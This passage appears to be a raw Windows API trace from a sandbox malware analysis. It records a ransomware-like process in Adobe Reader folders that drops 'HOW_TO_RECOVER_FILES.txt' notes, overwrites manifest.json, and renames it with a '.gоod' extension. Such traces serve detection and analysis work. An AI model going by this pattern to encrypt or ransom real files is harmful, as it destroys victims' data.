(dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0087.478] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR", lpFilePart=0x0) returned 0x39 [0087.478] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0087.478] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.478] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0087.479] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 0 [0087.479] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0087.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0087.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0087.479] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x52 [0087.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0087.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AIR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\air\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0087.480] GetFileType (hFile=0x768) returned 0x1 [0087.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0087.480] GetFileType (hFile=0x768) returned 0x1 [0087.481] WriteFile (in: hFile=0x768, lpBuffer=0x375bd08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x375bd08*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0087.481] CloseHandle (hObject=0x768) returned 1 [0087.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0087.482] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser", lpFilePart=0x0) returned 0x3d [0087.482] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0087.483] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.483] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0087.483] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 1 [0087.483] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 0 [0087.483] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0087.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0087.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0087.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0087.483] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser", lpFilePart=0x0) returned 0x3d [0087.484] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0087.484] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352a2928, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde9b5e59, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.484] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xde9b5e59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3adf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0087.484] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeExtn", cAlternateFileName="WCCHRO~1")) returned 1 [0087.484] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.484] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0087.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0087.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0087.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0087.485] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn", lpFilePart=0x0) returned 0x4a [0087.485] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0087.485] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.485] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x1923f03a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0087.485] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeNativeMessagingHost.exe", cAlternateFileName="WCCHRO~1.EXE")) returned 1 [0087.486] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.486] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0087.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0087.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0087.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0087.486] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn", lpFilePart=0x0) returned 0x4a [0087.486] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0087.486] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.486] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x1923f03a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0087.486] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeNativeMessagingHost.exe", cAlternateFileName="WCCHRO~1.EXE")) returned 1 [0087.487] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WCChromeNativeMessagingHost.exe", cAlternateFileName="WCCHRO~1.EXE")) returned 0 [0087.487] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0087.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0087.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0087.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json", lpFilePart=0x0) returned 0x58 [0087.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0087.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x3779db0 | out: lpFileInformation=0x3779db0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x1923f03a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x10b)) returned 1 [0087.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0087.488] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f35af20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json", lpFilePart=0x0) returned 0x58 [0087.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b440) returned 1 [0087.488] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0087.488] GetFileType (hFile=0x768) returned 0x1 [0087.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b3b0) returned 1 [0087.488] GetFileType (hFile=0x768) returned 0x1 [0087.488] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f35b5e8 | out: lpFileSizeHigh=0x1f35b5e8*=0x0) returned 0x10b [0087.488] ReadFile (in: hFile=0x768, lpBuffer=0x377a1b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b518, lpOverlapped=0x0 | out: lpBuffer=0x377a1b8*, lpNumberOfBytesRead=0x1f35b518*=0x10b, lpOverlapped=0x0) returned 1 [0087.489] CloseHandle (hObject=0x768) returned 1 [0087.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f35af20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json", lpFilePart=0x0) returned 0x58 [0087.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b440) returned 1 [0087.520] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\manifest.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.708] GetFileType (hFile=0x778) returned 0x1 [0087.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b3b0) returned 1 [0087.708] GetFileType (hFile=0x778) returned 0x1 [0087.708] WriteFile (in: hFile=0x778, lpBuffer=0x325ecd0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f35b428, lpOverlapped=0x0 | out: lpBuffer=0x325ecd0*, lpNumberOfBytesWritten=0x1f35b428*=0x110, lpOverlapped=0x0) returned 1 [0087.709] CloseHandle (hObject=0x778) returned 1 [0087.709] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json", lpFilePart=0x0) returned 0x58 [0087.709] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json.gоod", lpFilePart=0x0) returned 0x5d [0087.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0087.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x1923f03a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x307ef72e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0087.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0087.710] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\manifest.json"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\manifest.json.gоod")) returned 1 [0087.710] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", lpFilePart=0x0) returned 0x6a [0087.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0087.710] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\wcchromenativemessaginghost.exe"), fInfoLevelId=0x0, lpFileInformation=0x325ffd8 | out: lpFileInformation=0x325ffd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x235f0)) returned 1 [0087.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0087.710] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files 